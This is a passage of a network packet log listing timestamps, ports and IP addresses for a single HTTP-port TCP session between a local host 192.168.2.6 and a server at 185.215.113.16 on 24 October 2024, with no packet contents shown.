Oct 24, 2024 18:09:21.004857063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.004945993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.004981995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.004991055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.005026102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.005026102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.048996925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.049036980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.049074888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.049093008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.049093008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.049139023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.098575115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.098596096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.098613024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.098647118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.098675013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.098685980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.098702908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.098762035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.098762989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.098918915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.098968029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.099021912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099037886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099055052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099065065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.099072933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099087000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.099112988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.099112988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.099929094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099956036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099972963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.099976063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.099992037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100001097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100011110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100022078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100038052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100070953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100812912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100840092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100856066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100860119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100884914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100903988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100934982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100953102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.100986958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.100987911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.101804972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.101819992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.101850986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.101882935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.123198986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.123234987 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.123270035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.123277903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.123311043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.123311043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.165971994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.166019917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.166049957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.166060925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.166090965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.166100979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222172976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222220898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222256899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222249031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222290993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222325087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222332001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222332954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222332954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222361088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222363949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222407103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222472906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222512960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222526073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222548008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222563982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222580910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222589016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222615957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222630978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222650051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.222693920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.222737074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.223237991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.223288059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.223301888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.223334074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.223344088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.223376989 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.223400116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.223409891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.223429918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.223447084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.223455906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.223493099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.224076986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.224108934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.224145889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.224153042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.224153042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.224201918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.224281073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.224314928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.224334955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.224365950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.240247011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.240277052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.240303993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.240339041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.283509970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.283526897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.283540964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.283567905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.283611059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332412958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332449913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332484961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332495928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332520008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332546949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332555056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332567930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332601070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332712889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332761049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332773924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332820892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332824945 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332859993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332871914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332894087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.332909107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.332943916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.333312988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.333364010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.333380938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.333415985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.333429098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.333448887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.333461046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.333484888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.333498001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.333540916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.333956003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334007025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334024906 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334048986 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334057093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334091902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334124088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334132910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334134102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334156990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334180117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334199905 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334880114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334913969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334934950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334950924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334956884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.334986925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.334997892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.335057020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.355685949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.355736017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.355746031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.355775118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.355783939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.355829954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.399782896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.399806023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.399821997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.399884939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.399928093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449182034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449250937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449282885 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449309111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449310064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449317932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449353933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449382067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449382067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449405909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449408054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449440956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449459076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449484110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449491978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449527979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449543953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449562073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449568987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449598074 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.449608088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.449675083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450032949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450090885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450119019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450169086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450170994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450206041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450218916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450241089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450254917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450292110 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450591087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450643063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450647116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450678110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450695038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450711966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450725079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450747013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.450783014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.450810909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.451189995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.451225042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.451246023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.451266050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.451275110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.451309919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.451344013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.451365948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.451416016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.451464891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.472465992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.472522974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.472610950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.472640991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.472660065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.472673893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.472685099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.472721100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.516262054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.516299009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.516331911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.516333103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.516386032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.516386032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.565910101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.565962076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.565998077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566009998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566040039 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566045046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566060066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566093922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566097975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566137075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566149950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566188097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566240072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566292048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566293955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566324949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566344976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566361904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566382885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566395998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566425085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566447973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566719055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566752911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566776991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566787958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566796064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566850901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.566951990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.566987038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567009926 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567020893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567028046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567079067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567332983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567368984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567389965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567404985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567428112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567440033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567462921 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567473888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567483902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567507982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567517042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567543983 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567553997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567573071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.567596912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.567620993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.568011045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.568044901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.568068981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.568077087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.568092108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.568131924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.568439960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.568473101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.568499088 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.568506956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.568522930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.568558931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.589895010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.589919090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.589929104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.590095997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.633059025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.633095026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.633128881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.633178949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.633249044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.682987928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683042049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683059931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683074951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683092117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683106899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683125019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683191061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683191061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683192015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683192015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683192015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683192015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683192015 CEST	49997	80	192.168.2.6	185.215.113.16
